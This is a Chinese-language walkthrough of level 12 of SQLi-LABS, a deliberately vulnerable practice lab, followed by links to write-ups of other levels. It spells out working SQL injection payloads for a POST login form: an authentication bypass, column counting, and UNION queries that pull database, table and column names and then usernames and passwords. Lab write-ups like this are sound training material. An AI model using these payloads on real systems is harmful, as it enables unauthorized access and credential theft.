SQLi-LABS Less-12

简介: 第十二关请求方式为 POST请求 , 注入点为 双引号+括号的字符串型 , 注入方式为 联合/报错注入第一步,判断注入方式先来个单引号' , 用户名输入 a' , 密码输入 1 , 登录失败 , 也没报错 , 但它把SQL给我们返回了 , 从返回的SQL来看 , 其对传入的参数包裹了 双引号+括号

第十二关请求方式为 POST请求 , 注入点为 双引号+括号的字符串型 , 注入方式为 联合/报错注入


第一步,判断注入方式

先来个单引号' , 用户名输入 a'  ,  密码输入 1 , 登录失败 , 也没报错 , 但它把SQL给我们返回了 , 从返回的SQL来看 , 其对传入的参数包裹了 双引号+括号


image.png


那我们用万能账号试一下 , 用户名输入以下代码 , 密码随便输入

a") or true -- a

给个 true , 使SQL恒成立 , 如果特殊字符能影响SQL的执行 , 即可正常登录


image.png


果然登录成功 , 固 双引号+括号的字符串型注入 , 源码如下


image.png


本关卡有显示位,可以用联合注入 , 题目写的是基于报错 , 用报错注入也是可以


第二步,获取字段数

使用order by 排序 , 从第1列开始排序 , 直到报错没有该列

abc") or true order by 3 #

第3列开始报错 , 固 字段数为2image.png

第三步,判断字段显示位置

使用联合查询 , 配合分页展示自定义的数字 , 从而判断字段的显示位置

abc") or true union select 1,2 limit 13,1 #

image.png

由于SQL返回了所有查询到的结果 , 分页一直到13行才达到显示位置的效果 , 源码如下

image.png

第四步,获取所有数据库

查询information_schema默认数据库的schema表的schema_name字段 , 该字段保存了所有的数据库名字

abc") or true union select 1,
(select group_concat(schema_name)
from information_schema.schemata)
limit 13,1 #

此处的 group_concat() , 可将多行结果合并成一行 , 目的在于一次查询到所有数据库的名字

image.png

使用database() , 获取当前使用的数据库

abc") or true union select 1,
(select database())
limit 13,1 #

image.png

可知 , 当前使用的数据库为 security , 下一步根据security数据库 获取其所有表

第五步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有的表名

abc") or true union select 1,
(select group_concat(table_name)
from information_schema.tables
where table_schema='security')
limit 13,1 #

image.png

获取所有表以后 , 下一步根据users表 查询其所有字段 , 该表保存用户和密码

第六步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

abc") or true union select 1,
(select group_concat(column_name)
from information_schema.columns
where table_schema='security' and table_name='users')
limit 13,1 #

image.png

至此可知 , 数据库为 security , 表为 users , 字段为id,username,password , 下一步 , 从该表中查询账号密码

第七步,获取账号密码

abc") or true union select 1,
(select group_concat(username,'~',password)
from security.users)
limit 13,1 #

image.png

过关!


相关文章
|
6月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
321 0
SQLi LABS Less-26a
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
139 0
SQLi LABS Less-30
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
222 0
SQLi LABS Less-25a
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
178 0
SQLi LABS Less-27a
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
173 0
SQLi LABS Less-19
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
106 0
SQLi LABS Less-22
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
260 0
SQLi LABS Less-26
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
210 0
SQLi LABS Less-29
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
166 0
SQLi LABS Less-21